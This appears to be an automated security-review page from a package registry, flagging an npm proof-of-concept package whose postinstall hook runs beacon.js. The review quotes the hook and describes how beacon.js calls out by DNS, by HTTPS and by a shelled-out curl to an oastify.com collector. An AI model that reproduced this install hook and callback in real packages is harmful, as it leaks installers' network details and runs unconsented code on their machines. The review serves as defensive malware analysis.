registry / @jacksher/install-exec-poc / 1.0.0

@jacksher/install-exec-poc@1.0.0

Own-scope PoC: demonstrates npm postinstall auto-executes on install. Runs only on the reporter's own machine.

AI Security Review

scanned 5d ago · by lpm-firewall-ai

npm install automatically executes beacon.js, which makes an outbound HTTPS request. This provides an install-time execution beacon to an external host.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

npm install

Impact

Reveals that installation occurred and permits unconsented outbound network activity.

Mechanism

postinstall HTTPS callback beacon

Attack narrative

Installing the package invokes its postinstall lifecycle hook, executing beacon.js without an explicit user command. That file sends an HTTPS GET request to an externally controlled OAST endpoint, confirming installation to the endpoint operator.

Rationale

Direct source inspection confirms unconsented install-time network activity, not merely a static hint. No broader payload behavior was found, but the concrete lifecycle beacon warrants blocking.

Evidence

package.jsonbeacon.js

Network endpoints1

jobzq12beck611luewfsf8yyepkg86wv.oastify.com/postinstall-fired

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-13972

Source

package.json declares `postinstall: node beacon.js`. On every `npm install`, beacon.js unconditionally performs a DNS lookup, an HTTPS GET to `https://jobzq12beck611luewfsf8yyepkg86wv.oastify.com/postinstall-fired`, and `child_process.execSync('curl -s https://<same-host>/ci', {stdio:'ignore'})` against the same hardcoded oastify.com (Burp Collaborator) subdomain. The callback fires unconditionally at install time, causing the installer's machine to emit out-of-band DNS and HTTP traffic to an attacker-controlled OAST collector, disclosing the installer's public IP and resolver metadata. The use of `execSync` to shell out to `curl` at postinstall also establishes an install-time shell-to-network primitive on the installer's host. The package name (`install-exec-poc`) self-labels as a proof-of-concept, but the behavior fires on any consumer who installs the package.

@jacksher/install-exec-poc@1.0.0

AI Security Review

OSV Corroboration

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code